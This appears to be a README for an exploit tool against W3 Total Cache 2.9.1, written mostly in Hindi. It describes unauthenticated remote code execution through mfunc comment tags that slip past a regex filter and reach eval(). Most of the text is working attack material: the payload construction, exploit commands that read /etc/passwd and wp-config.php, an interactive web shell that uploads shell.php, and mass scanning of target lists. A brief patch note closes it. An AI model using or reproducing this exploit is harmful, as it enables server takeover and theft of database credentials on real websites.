<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY सीधे regex में जोड़ा गया
        // preg_quote() नहीं है → टोकन एक regex पैटर्न की तरह व्यवहार करता है
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

हमलावर पेलोड:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      mfunc और टोकन के बीच कोई रिक्ति नहीं

strip फ़ंक्शन:   \s+ → मेल नहीं खाता → पेलोड बना रहता है
execution regex:    \s* → मेल खाता है  → eval() निष्पादित होता है

// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ केवल defined() जाँच — empty() या मेटाकैरेक्टर जाँच नहीं
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

W3TC_DYNAMIC_SECURITY = '.'   (regex मेटाकैरेक्टर — कोई भी वर्ण)
        │
        ▼
हमलावर टिप्पणी सबमिट करता है:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  पैटर्न: mfunc\s+[^\s]+  →  \s+ अनिवार्य, कोई रिक्ति नहीं → बायपास ✅
        │
        ▼
टिप्पणी डेटाबेस में सहेजी जाती है, पेज कैश किया जाता है
        │
        ▼
दूसरा HTTP अनुरोध → W3TC कैश से प्रस्तुत करता है
  _has_dynamic() → mfunc\s*.  → 'A' मेल खाता है → true लौटाता है
        │
        ▼
_parse_dynamic() → preg_replace_callback
  पैटर्न: mfunc\s*.  → 'A' मेल खाता है
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ अप्रमाणित RCE ✓

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requests
beautifulsoup4

python w3tc_rce.py https://hedef.com

# id कमांड
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# /etc/passwd पढ़ें
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# wp-config.php पढ़ें
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# पोस्ट ID मैन्युअल
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  कमांड: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

python w3tc_rce.py https://hedef.com --mode detect

[+] W3TC स्थापित है!
    संस्करण  : 2.9.1
    Cache  : True
[!] संस्करण 2.9.1 भेद्य है (<= 2.9.1)!

python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

मानक टैग (strip द्वारा पकड़ा जाता है):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          रिक्ति है → \s+ मेल खाता है → strip हटा देता है

बाईपास टैग (strip को बायपास करता है, eval() निष्पादित होता है):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        कोई रिक्ति नहीं → \s+ मेल नहीं खाता → strip को बायपास करता है
                      \s* मेल खाता है → eval() निष्पादित होता है

# कमांड: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

1. W3TC का पता लगाना
   └─ readme.txt, header, body, प्लगइन निर्देशिका

2. टिप्पणी प्रणाली का पता लगाना
   └─ HTML फ़ॉर्म, REST API, post ID

3. पेलोड इंजेक्शन (48 वेरिएंट)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML Form: POST /wp-comments-post.php

4. कैश ट्रिगर करना
   ├─ पहला अनुरोध → cache miss → पृष्ठ रेंडर → कैश हो जाता है
   └─ दूसरा अनुरोध → cache hit → _parse_dynamic() → eval()

5. आउटपुट निकालना
   └─ uid=, whoami, /path/, passwd, wp-config...

=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] लक्ष्य: https://hedef.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] टिप्पणी पृष्ठ: https://hedef.com/?p=1 (post_id=1)

  [1] W3TC का पता लगाना...
[+] W3TC मिला! संस्करण: 2.9.1
  [2] टिप्पणी प्रणाली का पता लगाना...
[+] Post ID: 1 | Form: True | REST: True
  [3] पेलोड इंजेक्शन (id)...
[i] 48 पेलोड वेरिएंट तैयार
  [4] कैश ट्रिगर किया जा रहा है...

[★] RCE सफल!
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  कमांड   : id
  आउटपुट : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] परिणाम सहेजे गए → w3tc_results.txt
[?] शेल खोलें? (y/n):

Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 भेद्यताएँ मिलीं!
[+] परिणाम सहेजे गए → w3tc_results.txt

cve-2026-27384/
├── w3tc_rce.py        # मुख्य स्कैनर
├── requirements.txt   # निर्भरताएँ
└── README.md          # यह फ़ाइल

// ❌ खतरनाक — regex मेटाकैरेक्टर
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ सुरक्षित — अल्फ़ान्यूमेरिक
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote जोड़ा गया
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (कम से कम 1 रिक्ति)
    ...
);